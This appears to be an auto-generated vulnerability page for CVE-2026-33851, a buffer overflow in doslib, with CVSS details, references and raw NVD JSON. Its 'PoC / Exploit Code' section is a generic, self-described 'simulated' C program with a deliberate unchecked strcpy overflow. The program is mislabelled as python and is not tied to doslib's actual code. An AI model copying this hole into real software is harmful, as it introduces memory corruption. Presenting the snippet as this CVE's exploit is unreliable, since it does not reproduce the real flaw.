CVE-2026-33851

Description

Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in joncampbell123 doslib.This issue affects doslib: before doslib-20250729.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

doslib < doslib-20250729

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <string.h>

// Simulated vulnerable code in doslib context
void process_input(char *data) {
    char buffer[128];
    // Vulnerability: No bounds checking before copy
    strcpy(buffer, data); 
    printf("Processed: %s\n", buffer);
}

int main() {
    // Proof of Concept: Input larger than buffer size
    char exploit_payload[256];
    memset(exploit_payload, 'A', sizeof(exploit_payload) - 1);
    exploit_payload[sizeof(exploit_payload) - 1] = '\0';
    
    printf("Triggering buffer overflow...\n");
    process_input(exploit_payload);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33851
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33851
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33851/
[4] VulDB https://vuldb.com/cve/CVE-2026-33851
[5] https://github.com/joncampbell123/doslib/pull/65

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33851", "sourceIdentifier": "[email protected]", "published": "2026-03-24T06:16:22.370", "lastModified": "2026-05-05T20:38:41.080", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in joncampbell123 doslib.This issue affects doslib: before doslib-20250729."}, {"lang": "es", "value": "Vulnerabilidad de restricción inadecuada de operaciones dentro de los límites de un búfer de memoria en joncampbell123 doslib. Este problema afecta a doslib: anterior a doslib-20250729."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "references": [{"url": "https://github.com/joncampbell123/doslib/pull/65", "source": "[email protected]"}]}}